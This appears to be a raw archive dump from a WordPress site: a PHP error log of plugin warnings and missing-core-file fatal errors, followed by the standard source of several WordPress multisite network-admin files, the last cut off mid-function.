[14-Nov-2024 09:50:12 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[16-Nov-2024 22:23:31 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[17-Nov-2024 03:12:47 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[23-Nov-2024 13:54:09 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[24-Nov-2024 10:24:09 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[24-Nov-2024 12:07:03 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[25-Nov-2024 04:54:22 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[25-Nov-2024 05:00:20 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[26-Nov-2024 16:56:51 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[27-Nov-2024 05:04:55 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[04-Dec-2024 04:47:45 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[13-Dec-2024 12:22:35 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[15-Dec-2024 15:07:37 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[15-Dec-2024 20:09:09 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[07-Jan-2025 02:30:46 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[12-Jan-2025 02:25:48 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[22-Jan-2025 20:18:52 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[24-Jan-2025 07:46:47 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[25-Jan-2025 10:19:13 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[06-Feb-2025 12:20:51 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[10-Feb-2025 13:33:46 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[11-Feb-2025 04:57:03 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[11-Feb-2025 15:16:43 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[13-Feb-2025 11:52:51 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[13-Feb-2025 18:20:36 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[17-Feb-2025 06:58:46 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[17-Feb-2025 13:21:48 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[04-Mar-2025 10:18:20 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[17-Mar-2025 02:31:07 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[27-Mar-2025 23:56:13 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[23-Apr-2025 21:08:49 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[29-Apr-2025 09:40:15 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[02-May-2025 21:32:22 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[06-May-2025 12:03:03 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[07-May-2025 22:53:23 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[15-Jun-2025 08:07:17 UTC] PHP Warning:  fileperms(): stat failed for /home/natitnen/crestassured.com/index.php in /home/natitnen/crestassured.com/wp-admin/includes/file.php on line 2235
[15-Jun-2025 16:47:54 UTC] PHP Warning:  fileperms(): stat failed for /home/natitnen/crestassured.com/index.php in /home/natitnen/crestassured.com/wp-admin/includes/file.php on line 2235
[15-Jun-2025 16:47:54 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[15-Jun-2025 17:01:55 UTC] PHP Warning:  fileperms(): stat failed for /home/natitnen/crestassured.com/index.php in /home/natitnen/crestassured.com/wp-admin/includes/file.php on line 2235
[17-Jun-2025 04:40:21 UTC] PHP Warning:  require(/home/natitnen/crestassured.com/wp-includes/class-wp-role.php): Failed to open stream: No such file or directory in /home/natitnen/crestassured.com/wp-settings.php on line 167
[17-Jun-2025 04:40:21 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/natitnen/crestassured.com/wp-includes/class-wp-role.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/natitnen/crestassured.com/wp-settings.php:167
Stack trace:
#0 /home/natitnen/crestassured.com/wp-config.php(92): require_once()
#1 /home/natitnen/crestassured.com/wp-load.php(50): require_once('/home/natitnen/...')
#2 /home/natitnen/crestassured.com/wp-admin/admin.php(34): require_once('/home/natitnen/...')
#3 /home/natitnen/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natitnen/...')
#4 /home/natitnen/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natitnen/...')
#5 {main}
  thrown in /home/natitnen/crestassured.com/wp-settings.php on line 167
[18-Jun-2025 06:07:22 UTC] PHP Warning:  require(/home/natitnen/crestassured.com/wp-includes/class-wp-role.php): Failed to open stream: No such file or directory in /home/natitnen/crestassured.com/wp-settings.php on line 167
[18-Jun-2025 06:07:22 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/natitnen/crestassured.com/wp-includes/class-wp-role.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/natitnen/crestassured.com/wp-settings.php:167
Stack trace:
#0 /home/natitnen/crestassured.com/wp-config.php(92): require_once()
#1 /home/natitnen/crestassured.com/wp-load.php(50): require_once('/home/natitnen/...')
#2 /home/natitnen/crestassured.com/wp-admin/admin.php(34): require_once('/home/natitnen/...')
#3 /home/natitnen/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natitnen/...')
#4 /home/natitnen/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natitnen/...')
#5 {main}
  thrown in /home/natitnen/crestassured.com/wp-settings.php on line 167
[18-Jun-2025 15:11:44 UTC] PHP Warning:  require(/home/natitnen/crestassured.com/wp-includes/class-wp-error.php): Failed to open stream: No such file or directory in /home/natitnen/crestassured.com/wp-settings.php on line 115
[18-Jun-2025 15:11:44 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/natitnen/crestassured.com/wp-includes/class-wp-error.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/natitnen/crestassured.com/wp-settings.php:115
Stack trace:
#0 /home/natitnen/crestassured.com/wp-config.php(92): require_once()
#1 /home/natitnen/crestassured.com/wp-load.php(50): require_once('/home/natitnen/...')
#2 /home/natitnen/crestassured.com/wp-admin/admin.php(34): require_once('/home/natitnen/...')
#3 /home/natitnen/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natitnen/...')
#4 /home/natitnen/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natitnen/...')
#5 {main}
  thrown in /home/natitnen/crestassured.com/wp-settings.php on line 115
[18-Jun-2025 18:45:15 UTC] PHP Warning:  require(/home/natitnen/crestassured.com/wp-includes/class-wp-recovery-mode-email-service.php): Failed to open stream: No such file or directory in /home/natitnen/crestassured.com/wp-settings.php on line 46
[18-Jun-2025 18:45:15 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/natitnen/crestassured.com/wp-includes/class-wp-recovery-mode-email-service.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/natitnen/crestassured.com/wp-settings.php:46
Stack trace:
#0 /home/natitnen/crestassured.com/wp-config.php(92): require_once()
#1 /home/natitnen/crestassured.com/wp-load.php(50): require_once('/home/natitnen/...')
#2 /home/natitnen/crestassured.com/wp-admin/admin.php(34): require_once('/home/natitnen/...')
#3 /home/natitnen/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natitnen/...')
#4 /home/natitnen/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natitnen/...')
#5 {main}
  thrown in /home/natitnen/crestassured.com/wp-settings.php on line 46
[19-Jun-2025 08:11:11 UTC] PHP Warning:  require(/home/natitnen/crestassured.com/wp-includes/version.php): Failed to open stream: No such file or directory in /home/natitnen/crestassured.com/wp-settings.php on line 33
[19-Jun-2025 08:11:12 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/natitnen/crestassured.com/wp-includes/version.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/natitnen/crestassured.com/wp-settings.php:33
Stack trace:
#0 /home/natitnen/crestassured.com/wp-config.php(92): require_once()
#1 /home/natitnen/crestassured.com/wp-load.php(50): require_once('/home/natitnen/...')
#2 /home/natitnen/crestassured.com/wp-admin/admin.php(34): require_once('/home/natitnen/...')
#3 /home/natitnen/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natitnen/...')
#4 /home/natitnen/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natitnen/...')
#5 {main}
  thrown in /home/natitnen/crestassured.com/wp-settings.php on line 33
[19-Jun-2025 11:49:10 UTC] PHP Warning:  require(/home/natitnen/crestassured.com/wp-includes/version.php): Failed to open stream: No such file or directory in /home/natitnen/crestassured.com/wp-settings.php on line 33
[19-Jun-2025 11:49:10 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/natitnen/crestassured.com/wp-includes/version.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/natitnen/crestassured.com/wp-settings.php:33
Stack trace:
#0 /home/natitnen/crestassured.com/wp-config.php(92): require_once()
#1 /home/natitnen/crestassured.com/wp-load.php(50): require_once('/home/natitnen/...')
#2 /home/natitnen/crestassured.com/wp-admin/admin.php(34): require_once('/home/natitnen/...')
#3 /home/natitnen/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natitnen/...')
#4 /home/natitnen/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natitnen/...')
#5 {main}
  thrown in /home/natitnen/crestassured.com/wp-settings.php on line 33
[19-Jun-2025 20:41:30 UTC] PHP Warning:  require(/home/natitnen/crestassured.com/wp-includes/version.php): Failed to open stream: No such file or directory in /home/natitnen/crestassured.com/wp-settings.php on line 33
[19-Jun-2025 20:41:30 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/natitnen/crestassured.com/wp-includes/version.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/natitnen/crestassured.com/wp-settings.php:33
Stack trace:
#0 /home/natitnen/crestassured.com/wp-config.php(92): require_once()
#1 /home/natitnen/crestassured.com/wp-load.php(50): require_once('/home/natitnen/...')
#2 /home/natitnen/crestassured.com/wp-admin/admin.php(34): require_once('/home/natitnen/...')
#3 /home/natitnen/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natitnen/...')
#4 /home/natitnen/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natitnen/...')
#5 {main}
  thrown in /home/natitnen/crestassured.com/wp-settings.php on line 33
[20-Jun-2025 06:58:43 UTC] PHP Warning:  require(/home/natitnen/crestassured.com/wp-includes/version.php): Failed to open stream: No such file or directory in /home/natitnen/crestassured.com/wp-settings.php on line 33
[20-Jun-2025 06:58:43 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/natitnen/crestassured.com/wp-includes/version.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/natitnen/crestassured.com/wp-settings.php:33
Stack trace:
#0 /home/natitnen/crestassured.com/wp-config.php(92): require_once()
#1 /home/natitnen/crestassured.com/wp-load.php(50): require_once('/home/natitnen/...')
#2 /home/natitnen/crestassured.com/wp-admin/admin.php(34): require_once('/home/natitnen/...')
#3 /home/natitnen/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natitnen/...')
#4 /home/natitnen/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natitnen/...')
#5 {main}
  thrown in /home/natitnen/crestassured.com/wp-settings.php on line 33
[21-Jun-2025 10:57:12 UTC] PHP Warning:  require(/home/natitnen/crestassured.com/wp-includes/version.php): Failed to open stream: No such file or directory in /home/natitnen/crestassured.com/wp-settings.php on line 33
[21-Jun-2025 10:57:12 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/natitnen/crestassured.com/wp-includes/version.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/natitnen/crestassured.com/wp-settings.php:33
Stack trace:
#0 /home/natitnen/crestassured.com/wp-config.php(92): require_once()
#1 /home/natitnen/crestassured.com/wp-load.php(50): require_once('/home/natitnen/...')
#2 /home/natitnen/crestassured.com/wp-admin/admin.php(34): require_once('/home/natitnen/...')
#3 /home/natitnen/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natitnen/...')
#4 /home/natitnen/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natitnen/...')
#5 {main}
  thrown in /home/natitnen/crestassured.com/wp-settings.php on line 33
[21-Jun-2025 11:06:12 UTC] PHP Warning:  require(/home/natitnen/crestassured.com/wp-includes/version.php): Failed to open stream: No such file or directory in /home/natitnen/crestassured.com/wp-settings.php on line 33
[21-Jun-2025 11:06:12 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/natitnen/crestassured.com/wp-includes/version.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/natitnen/crestassured.com/wp-settings.php:33
Stack trace:
#0 /home/natitnen/crestassured.com/wp-config.php(92): require_once()
#1 /home/natitnen/crestassured.com/wp-load.php(50): require_once('/home/natitnen/...')
#2 /home/natitnen/crestassured.com/wp-admin/admin.php(34): require_once('/home/natitnen/...')
#3 /home/natitnen/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natitnen/...')
#4 {main}
  thrown in /home/natitnen/crestassured.com/wp-settings.php on line 33
[21-Jun-2025 11:06:16 UTC] PHP Warning:  require(/home/natitnen/crestassured.com/wp-includes/version.php): Failed to open stream: No such file or directory in /home/natitnen/crestassured.com/wp-settings.php on line 33
[21-Jun-2025 11:06:16 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/natitnen/crestassured.com/wp-includes/version.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/natitnen/crestassured.com/wp-settings.php:33
Stack trace:
#0 /home/natitnen/crestassured.com/wp-config.php(92): require_once()
#1 /home/natitnen/crestassured.com/wp-load.php(50): require_once('/home/natitnen/...')
#2 /home/natitnen/crestassured.com/wp-admin/admin.php(34): require_once('/home/natitnen/...')
#3 /home/natitnen/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natitnen/...')
#4 /home/natitnen/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natitnen/...')
#5 {main}
  thrown in /home/natitnen/crestassured.com/wp-settings.php on line 33
[22-Jun-2025 00:28:09 UTC] PHP Warning:  require(/home/natitnen/crestassured.com/wp-includes/version.php): Failed to open stream: No such file or directory in /home/natitnen/crestassured.com/wp-settings.php on line 33
[22-Jun-2025 00:28:09 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/natitnen/crestassured.com/wp-includes/version.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/natitnen/crestassured.com/wp-settings.php:33
Stack trace:
#0 /home/natitnen/crestassured.com/wp-config.php(92): require_once()
#1 /home/natitnen/crestassured.com/wp-load.php(50): require_once('/home/natitnen/...')
#2 /home/natitnen/crestassured.com/wp-admin/admin.php(34): require_once('/home/natitnen/...')
#3 /home/natitnen/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natitnen/...')
#4 /home/natitnen/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natitnen/...')
#5 {main}
  thrown in /home/natitnen/crestassured.com/wp-settings.php on line 33
[22-Jun-2025 11:20:48 UTC] PHP Warning:  require(/home/natitnen/crestassured.com/wp-includes/version.php): Failed to open stream: No such file or directory in /home/natitnen/crestassured.com/wp-settings.php on line 33
[22-Jun-2025 11:20:48 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/natitnen/crestassured.com/wp-includes/version.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/natitnen/crestassured.com/wp-settings.php:33
Stack trace:
#0 /home/natitnen/crestassured.com/wp-config.php(92): require_once()
#1 /home/natitnen/crestassured.com/wp-load.php(50): require_once('/home/natitnen/...')
#2 /home/natitnen/crestassured.com/wp-admin/admin.php(34): require_once('/home/natitnen/...')
#3 /home/natitnen/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natitnen/...')
#4 /home/natitnen/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natitnen/...')
#5 {main}
  thrown in /home/natitnen/crestassured.com/wp-settings.php on line 33
[24-Jun-2025 18:43:14 UTC] PHP Warning:  require_once(/home/natitnen/crestassured.com/wp-includes/version.php): Failed to open stream: No such file or directory in /home/natitnen/crestassured.com/wp-load.php on line 62
[24-Jun-2025 18:43:14 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/natitnen/crestassured.com/wp-includes/version.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/natitnen/crestassured.com/wp-load.php:62
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/admin.php(34): require_once()
#1 /home/natitnen/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natitnen/...')
#2 /home/natitnen/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natitnen/...')
#3 {main}
  thrown in /home/natitnen/crestassured.com/wp-load.php on line 62
[26-Jun-2025 13:42:24 UTC] PHP Warning:  require_once(/home/natitnen/crestassured.com/wp-includes/version.php): Failed to open stream: No such file or directory in /home/natitnen/crestassured.com/wp-load.php on line 62
[26-Jun-2025 13:42:24 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/natitnen/crestassured.com/wp-includes/version.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/natitnen/crestassured.com/wp-load.php:62
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/admin.php(34): require_once()
#1 /home/natitnen/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natitnen/...')
#2 /home/natitnen/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natitnen/...')
#3 {main}
  thrown in /home/natitnen/crestassured.com/wp-load.php on line 62
[27-Jun-2025 06:49:11 UTC] PHP Warning:  require_once(/home/natitnen/crestassured.com/wp-includes/version.php): Failed to open stream: No such file or directory in /home/natitnen/crestassured.com/wp-load.php on line 62
[27-Jun-2025 06:49:11 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/natitnen/crestassured.com/wp-includes/version.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/natitnen/crestassured.com/wp-load.php:62
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/admin.php(34): require_once()
#1 /home/natitnen/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natitnen/...')
#2 /home/natitnen/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natitnen/...')
#3 {main}
  thrown in /home/natitnen/crestassured.com/wp-load.php on line 62
index.php000064400000005521150276372430006400 0ustar00<?php
/**
 * Multisite administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** Load WordPress dashboard API */
require_once ABSPATH . 'wp-admin/includes/dashboard.php';

if ( ! current_user_can( 'manage_network' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

// Used in the HTML title tag.
$title       = __( 'Dashboard' );
$parent_file = 'index.php';

$overview  = '<p>' . __( 'Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network.' ) . '</p>';
$overview .= '<p>' . __( 'From here you can:' ) . '</p>';
$overview .= '<ul><li>' . __( 'Add and manage sites or users' ) . '</li>';
$overview .= '<li>' . __( 'Install and activate themes or plugins' ) . '</li>';
$overview .= '<li>' . __( 'Update your network' ) . '</li>';
$overview .= '<li>' . __( 'Modify global network settings' ) . '</li></ul>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => $overview,
	)
);

$quick_tasks  = '<p>' . __( 'The Right Now widget on this screen provides current user and site counts on your network.' ) . '</p>';
$quick_tasks .= '<ul><li>' . __( 'To add a new user, <strong>click Create a New User</strong>.' ) . '</li>';
$quick_tasks .= '<li>' . __( 'To add a new site, <strong>click Create a New Site</strong>.' ) . '</li></ul>';
$quick_tasks .= '<p>' . __( 'To search for a user or site, use the search boxes.' ) . '</p>';
$quick_tasks .= '<ul><li>' . __( 'To search for a user, <strong>enter an email address or username</strong>. Use a wildcard to search for a partial username, such as user&#42;.' ) . '</li>';
$quick_tasks .= '<li>' . __( 'To search for a site, <strong>enter the path or domain</strong>.' ) . '</li></ul>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'quick-tasks',
		'title'   => __( 'Quick Tasks' ),
		'content' => $quick_tasks,
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/network-admin/">Documentation on the Network Admin</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

wp_dashboard_setup();

wp_enqueue_script( 'dashboard' );
wp_enqueue_script( 'plugin-install' );
add_thickbox();

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<div id="dashboard-widgets-wrap">

<?php wp_dashboard(); ?>

<div class="clear"></div>
</div><!-- dashboard-widgets-wrap -->

</div><!-- wrap -->

<?php
wp_print_community_events_templates();
require_once ABSPATH . 'wp-admin/admin-footer.php';
edit.php000064400000001614150276372430006215 0ustar00<?php
/**
 * Action handler for Multisite administration panels.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

$action = ( isset( $_GET['action'] ) ) ? $_GET['action'] : '';

if ( empty( $action ) ) {
	wp_redirect( network_admin_url() );
	exit;
}

/**
 * Fires just before the action handler in several Network Admin screens.
 *
 * This hook fires on multiple screens in the Multisite Network Admin,
 * including Users, Network Settings, and Site Settings.
 *
 * @since 3.0.0
 */
do_action( 'wpmuadminedit' );

/**
 * Fires the requested handler action.
 *
 * The dynamic portion of the hook name, `$action`, refers to the name
 * of the requested action derived from the `GET` request.
 *
 * @since 3.1.0
 */
do_action( "network_admin_edit_{$action}" );

wp_redirect( network_admin_url() );
exit;
plugin-install.php000064400000000571150276372430010233 0ustar00<?php
/**
 * Install plugin network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

if ( isset( $_GET['tab'] ) && ( 'plugin-information' === $_GET['tab'] ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/plugin-install.php';
update-core.php000064400000000375150276372430007503 0ustar00<?php
/**
 * Updates network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/update-core.php';
user-new.php000064400000012170150276372430007034 0ustar00<?php
/**
 * Add New User network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'create_users' ) ) {
	wp_die( __( 'Sorry, you are not allowed to add users to this network.' ) );
}

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'Add User will set up a new user account on the network and send that person an email with username and password.' ) . '</p>' .
			'<p>' . __( 'Users who are signed up to the network without a site are added as subscribers to the main or primary dashboard site, giving them profile pages to manage their accounts. These users will only see Dashboard and My Sites in the main navigation until a site is created for them.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

if ( isset( $_REQUEST['action'] ) && 'add-user' === $_REQUEST['action'] ) {
	check_admin_referer( 'add-user', '_wpnonce_add-user' );

	if ( ! current_user_can( 'manage_network_users' ) ) {
		wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
	}

	if ( ! is_array( $_POST['user'] ) ) {
		wp_die( __( 'Cannot create an empty user.' ) );
	}

	$user = wp_unslash( $_POST['user'] );

	$user_details = wpmu_validate_user_signup( $user['username'], $user['email'] );

	if ( is_wp_error( $user_details['errors'] ) && $user_details['errors']->has_errors() ) {
		$add_user_errors = $user_details['errors'];
	} else {
		$password = wp_generate_password( 12, false );
